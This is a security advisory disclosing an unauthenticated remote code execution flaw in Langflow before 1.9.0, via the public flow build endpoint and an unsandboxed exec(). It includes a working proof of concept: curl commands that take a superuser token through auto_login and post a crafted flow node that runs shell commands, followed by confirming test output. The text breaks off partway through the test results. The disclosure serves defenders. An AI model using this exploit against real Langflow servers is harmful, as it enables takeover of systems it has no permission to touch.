GHSA-vwmf-pq79-vjvx Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

• PyPI langflow: < 1.9.0 → fixed in 1.9.0

Summary The `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. Affected Code Vulnerable Endpoint (No Authentication) File: `src/backend/base/langflow/api/v1/chat.py`, lines 580-657 ```python @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(get_current_active_user) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" client_id = request.cookies.get("client_id") owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id) job_id = await start_flow_build( flow_id=new_flow_id, data=data, # Attacker's data passed directly to graph builder current_user=owner_user, ... ) ``` Compare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`. Code Execution Chain When attacker-supplied `data` is provided, it flows through: 1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81` 2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298` 3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168` 4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527` 5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323` 6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28` 7. `code = custom_params.pop("code")` extracts attacker code -- `loading.py:43` 8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9` 9. `prepare_global_scope(module)` -- `validate.py:323` 10. `exec(compiled_code, exec_globals)` -- ARBITRARY CODE EXECUTION -- `validate.py:397` Unsandboxed exec() in prepare_global_scope File: `src/lfx/src/lfx/custom/validate.py`, lines 340-397 ```python def prepare_global_scope(module): exec_globals = globals().copy() # Imports are resolved first (any module can be imported) for node in imports: module_obj = importlib.import_module(module_name) # line 352 exec_globals[variable_name] = module_obj # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "", "exec") exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION ``` Critical detail: `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system("id")` is an assignment and will be executed during graph building -- before the flow even "runs." Prerequisites 1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows) 2. Attacker knows the public flow's UUID (discoverable via shared links/URLs) 3. No authentication required -- only a `client_id` cookie (any arbitrary string value) When `AUTO_LOGIN=true` (the default), all prerequisites can be met by an unauthenticated attacker: 1. `GET /api/v1/auto_login` → obtain superuser token 2. `POST /api/v1/flows/` → create a public flow 3. Exploit via `build_public_tmp` without any auth Proof of Concept Tested Against • Langflow version 1.7.3 (latest stable release, installed via `pip install langflow`) • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each) Step 1: Obtain a Public Flow ID (In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.) ```bash Get superuser token (no credentials needed when AUTO_LOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token') Create a public flow FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \ | jq -r '.id') echo "Public Flow ID: $FLOW_ID" ``` Step 2: Exploit -- Unauthenticated RCE ```bash EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -b "client_id=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}], "field_order": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }' ``` Step 3: Verify Code Execution ```bash Wait 2 seconds for async graph building sleep 2 Check proof file written by attacker's code on the server cat /tmp/rce-proof Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali ``` Actual Test Results ``` ====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3 RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 • REMOTE CODE EXECUTION CONFIRMED * canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64 RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 • REMOTE CODE EXECUTION CONFIRMED * canary: RCE-6037a271 RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab…